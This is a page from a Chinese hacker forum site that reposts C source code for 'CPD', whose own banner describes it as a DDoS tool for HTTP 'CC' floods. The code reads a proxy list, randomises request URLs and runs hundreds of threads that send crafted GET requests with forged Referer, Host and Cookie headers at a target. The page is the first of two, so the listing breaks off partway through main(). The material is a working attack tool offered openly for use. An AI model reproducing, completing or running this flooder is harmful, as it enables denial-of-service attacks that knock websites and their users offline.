您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客编程 >> 正文

CPD的原代码
骇客基地 阅读: 时间:2007-6-18 18:48:48 来源:www.hookbase.com
  
//庆祝新年,05年不准备放代码了,现在把CPD代码发布出来

#include <winsock.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#pragma comment(lib,"wsock32")
#define WAVERS MAKEWORD(2,0)
#define DEF_DELAY 5
#define DEF_FILE "cc.txt"
#define DEF_THREAD 300
#define DEF_MAXSEND 10000
#define DEF_REF "http://www.n-ku.com/blog/blog.asp?name=bigboyq"
#define VER "2.0"
struct Sproxy
{
    char host[128];
    int port;
    struct Sproxy *next;
};
struct Sproxy *pnow;    
struct Sproxy *head;
struct Sproxy *last;
int mThread,nThread,stop,bh,bc;
char *hostip=NULL,*refer=NULL,*hosts=NULL,*cook;
FILE *fp;
long int sendcount,lastcount;
HANDLE hMutex = NULL;
void usage(char* p)
{
    printf("[+] New DDOS Tool CC v%s\n",VER);
printf("[+] Welcome everyone to Visit http://www.n-ku.com/blog/blog.asp?name=bigboyq\n");
printf("[+] More Support Please Contact QQ:167110 or E-mail:hiis@163.com\n");
printf("[+] USAGE:%s [OPTION]\n",p);
printf("[+] [-c <COOKIE>] Cookie of HTTP to Use\n");
printf("[+] [-d <Delay>] Set Time to Delay DEFAULT:%d\n",DEF_DELAY);
printf("[+] [-f <ProxyFile>] Load Proxy From File DEFAULT:%s\n",DEF_FILE);
printf("[+] [-m <MaxSend>] Set a Value that you want to Send DEFAULT:%d\n",DEF_MAXSEND);
printf("[+] [-r <Refer>] Refer of HTTP Refer\n[+] DEFAULT:%s\n",DEF_REF);
printf("[+] [-s <HOST>] HOST of HTTP\n");
printf("[+] [-t <Thread>] Set Thread to Use DEFAULT:%d\n",DEF_THREAD);
printf("[+] <-h <HTTPURL>> HTTP Request,you must Start with http://\n");
printf("[+] EASYUSAGE:%s <-h HTTPURL>\n",p);
}    
void ProcExit()
{
//发消息让线程停止
stop=1;
    printf("[+] Begin Exit,Please Wait Thread to End...\n");
//等待线程停止
while(nThread>0)
  Sleep(2000);
//释放代理列表
pnow=head;
pnow=last;
pnow=pnow->next;
printf("[+] Thread Exit OK!Freeing Memory...\n");
while(pnow!=head)
{
  last=pnow->next;
  free(pnow);
  pnow=last;
}
    free(pnow);
printf("[+] Program Exit Success!\n");
printf("[+] See you again!\n");
exit(1);
}
int NetInit()
{
    WSADATA wsadata;
    int err;
    err=WSAStartup(WAVERS,&wsadata);
    return err;
}
char* gethttp(int j)
{
    int i,ct;
    char *buf,*temp=NULL,*thost,*head=NULL;
    char *rc=NULL;
char rdc[1024];
int ascs,ascw;
srand((unsigned)time( NULL )+j);

thost=(char *)malloc(1024);
buf = (char *)malloc(1024);
head=thost;
memset(thost,0,1024);
memset(buf,0,512);
strcpy(thost,hostip);
temp="GET ";
strcat(buf,temp);
ascs=0;ascw=0;
rc=strchr(thost,'+');
while(rc)
{
  rc[0]='\0';
  strcat(buf,thost);
  ct=rc[2]-48;
  switch(rc[1])
  {
  case 's':
   ascs=97;
   ascw=26;
   break;
  case 'S':
   ascs=65;
   ascw=26;
   break;
  case 'n':
  case 'N':
   ascs=48;
   ascw=10;
   break;
  }
  for(i=0;i<ct;i++)
   rdc[i]=(char)(ascs+rand()%ascw);
  rdc[ct]='\0';
  strcat(buf,rdc);
  thost=&rc[3];
  rc=strchr(thost,'+');
}
strcat(buf,thost);
temp=" HTTP/1.1\r\n";
strcat(buf,temp);
temp="Accept: */*\r\nReferer: ";
strcat(buf,temp);
strcat(buf,refer);
temp="\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n";
    strcat(buf,temp);
if (bh==1)
{
  temp="HOST: ";
  strcat(buf,temp);
  strcat(buf,hosts);
  temp="\r\n";
  strcat(buf,temp);
}
if (bc==1)
{
  temp="Cookie: ";
  strcat(buf,temp);
  strcat(buf,cook);
  temp="\r\n";
  strcat(buf,temp);
}
temp="Proxy-Connection: Keep-Alive\r\n\r\n";
strcat(buf,temp);
free(head);
    free(temp);
return buf;
}
DWORD WINAPI Flood(LPVOID i)
{
    char buf[512];
    int err;
char *fhost=NULL;
sockaddr_in sin;
    SOCKET sock;
WaitForSingleObject(hMutex,INFINITE);
nThread++;
ReleaseMutex(hMutex);
while(stop==1)
{
  Sleep(1000);
}
while(stop==0)
{
  //这样锁?
  WaitForSingleObject(hMutex,INFINITE);
  pnow=pnow->next;
  sin.sin_port=htons(pnow->port);    
  sin.sin_addr.s_addr=inet_addr(pnow->host);
  memset(buf,0,512);
  fhost=gethttp((int)i);
  strcat(buf,fhost);
  free(fhost);
  ReleaseMutex(hMutex);
  sin.sin_family=AF_INET;
  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (sock==INVALID_SOCKET)
  {
   printf("[-] Thread Create SOCK Failed\n");
   return 0;
  }
  if (connect(sock,(sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
  {
  }
  else    
  {   
   WaitForSingleObject(hMutex,INFINITE);
   sendcount++;
   ReleaseMutex(hMutex);
   err=send(sock,buf,sizeof(buf),0);
  }
  closesocket(sock);
}    
WaitForSingleObject(hMutex,INFINITE);
    nThread--;
ReleaseMutex(hMutex);
free(buf);
return 1;
}          
int main(int argc, char *argv[])
{
    int i,ti,delay;
long int maxsend;
    char *filename=NULL;
    char fdata[128];
    char mao=':';
    char *mp;
/*
hosts="www.n-ku.com";
refer="www.fz.fj.cn";
hostip="http://www.fz.fj.cn/list.asp?id=+s1+n1+S1";
printf("%s\n",gethttp(1));
return 1;
*/
bh=0;bc=0;
if(argc < 3)
    {
        printf("[-] Need Option!!!\n");
        usage(argv[0]);
        return 1;
    }
mThread=DEF_THREAD;
filename=DEF_FILE;
delay=DEF_DELAY;
maxsend=DEF_MAXSEND;
refer=DEF_REF;
for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            printf("[-] Option Unknow!!!\n");
            usage(argv[0]);
            return 1;
        }
  // check parameter
        if(i == argc-1)
        {
            printf("[-] Option Error!!!\n");
            usage(argv[0]);
            return 1;
        }
        switch(argv[i][1])
        {
  case 'h':
   hostip = argv[i+1];
   break;
  case 'd':
   delay = atoi(argv[i+1]);
   break;
  case 't':
   mThread = atoi(argv[i+1]);
   break;
  case 'f':
   filename = argv[i+1];
   break;
        case 'm':
   maxsend = atoi(argv[i+1]);
   break;
  case 'r':
   refer=argv[i+1];

[1] [2] 下一页

今天广告
参与评论:
注意事项:
【CPD的原代码】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号